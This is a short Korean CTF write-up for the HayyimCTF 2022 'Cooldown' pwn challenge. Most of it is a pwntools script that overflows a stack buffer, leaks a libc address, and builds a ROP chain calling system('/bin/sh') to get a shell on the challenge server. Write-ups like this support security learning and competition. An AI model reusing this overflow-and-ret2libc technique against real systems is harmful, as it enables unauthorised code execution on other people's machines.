[CTF write up] HayyimCTF 2022 - Cooldown / WarmUp : Tiny Binary Exploitation

2022. 2. 14. 23:38CTF write up

이 문제에 핵심은 소켓 환경에서는 write(0,buf,size) 다음과 같이 출력 함수에 stdin을 인자로 넣어줬을때도 말짱하게 출력된다는 것이다.....

 

from pwn import *

#p = process(['cooldown'], env={'LD_PRELOAD':'./libc.so.6'})
p = remote("141.164.48.191", 10005)
e = ELF('cooldown')
libc = ELF('libc.so.6')


payload = b'a'*0x38
payload += p64(0x00000000004004A0)

raw_input()
p.send(payload)

lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
system_addr = lic - 0x3a2b7a
libc_base =  system_addr - 0x4f550
pop_rdi = libc_base + 0x00000000000215bf
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*0x38
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_addr)

p.send(payload)

p.interactive()